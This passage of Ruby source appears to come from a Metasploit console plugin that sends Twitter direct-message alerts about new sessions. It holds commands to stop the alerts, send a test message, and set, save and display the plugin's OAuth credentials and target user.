else 151 | print_error("Could not set Twitter settings.") 152 | end 153 | end 154 | 155 | def cmd_twitt_stop 156 | print_status("Stopping the monitoring of sessions to Twitt") 157 | self.framework.events.remove_session_subscriber(self) 158 | end 159 | 160 | def cmd_twitt_test 161 | print_status("Sending tests message") 162 | read_settings 163 | @twitt_client = Twitter.configure do |config| 164 | config.consumer_key = @consumer_key 165 | config.consumer_secret = @consumer_secret 166 | config.oauth_token = @oauth_token 167 | config.oauth_token_secret = @oauth_token_secret 168 | end 169 | send_direct("This is a test Message from your Metasploit console #{::Time.now}") 170 | return 171 | end 172 | 173 | # Save Parameters to text file 174 | def cmd_twitt_save 175 | print_status("Saving paramters to config file") 176 | if @consumer_key and @consumer_secret and @oauth_token and @oauth_token_secret and @user 177 | config = {'consumer_key' => @consumer_key, 'consumer_secret' => @consumer_secret, 178 | 'oauth_token' => @oauth_token, 'oauth_token_secret' => @oauth_token_secret, 179 | 'user' => @user, 'source' => @source 180 | } 181 | File.open(Twitter_yaml, 'w') do |out| 182 | YAML.dump(config, out) 183 | end 184 | print_good("All parameters saved to #{Twitter_yaml}") 185 | else 186 | print_error("You have not provided all the parameters!") 187 | end 188 | end 189 | 190 | # Get Consumer Key 191 | def cmd_twitt_set_consumer_key(*args) 192 | if args.length > 0 193 | print_status("Setting the Consumer Key to #{args[0]}") 194 | @consumer_key = args[0] 195 | else 196 | print_error("Please provide a value") 197 | end 198 | end 199 | 200 | # Get Consumer Secret 201 | def cmd_twitt_set_consumer_secret(*args) 202 | if args.length > 0 203 | print_status("Setting the Consumer Secret to #{args[0]}") 204 | @consumer_secret = args[0] 205 | else 206 | print_error("Please provide a value") 207 | end 208 | end 209 | 210 | # Get OATH Token 211 | def cmd_twitt_set_oauth_token(*args) 212 | if args.length > 0 213 | print_status("Setting the OAUTH Token to #{args[0]}") 214 | @oauth_token = args[0] 215 | else 216 | print_error("Please provide a value") 217 | end 218 | end 219 | 220 | # Get Oath Token Secret 221 | def cmd_twitt_set_oauth_token_secret(*args) 222 | if args.length > 0 223 | print_status("Setting the OAUTH Token Secret to #{args[0]}") 224 | @oauth_token_secret = args[0] 225 | else 226 | print_error("Please provide a value") 227 | end 228 | end 229 | 230 | # Get User to whom Direct Messages Will be Sent to 231 | def cmd_twitt_set_user(*args) 232 | if args.length > 0 233 | print_status("Setting the DM target user to #{args[0]}") 234 | @user = args[0] 235 | else 236 | print_error("Please provide a value") 237 | end 238 | end 239 | 240 | # Set Source Name to be included in the messages 241 | def cmd_twitt_set_source(*args) 242 | if args.length > 0 243 | print_status("Setting the source name to #{args[0]}") 244 | @source = args[0] 245 | else 246 | print_error("Please provide a value") 247 | end 248 | end 249 | 250 | # Show the parameters set on the Plug-In 251 | def cmd_twitt_show_parms 252 | print_status("Parameters:") 253 | print_good("consumer_key: #{@consumer_key}") 254 | print_good("consumer_secret: #{@consumer_secret}") 255 | print_good("oauth_token: #{@oauth_token}") 256 | print_good("oauth_token_secret: #{@oauth_token_secret}") 257 | print_good("user: #{@user}") 258 | print_good("source: #{@source}") 259 | end 260 | 261 | 262 | end 263 | 264 | end 265 | end 266 | 267 | --------------------------------------------------------------------------------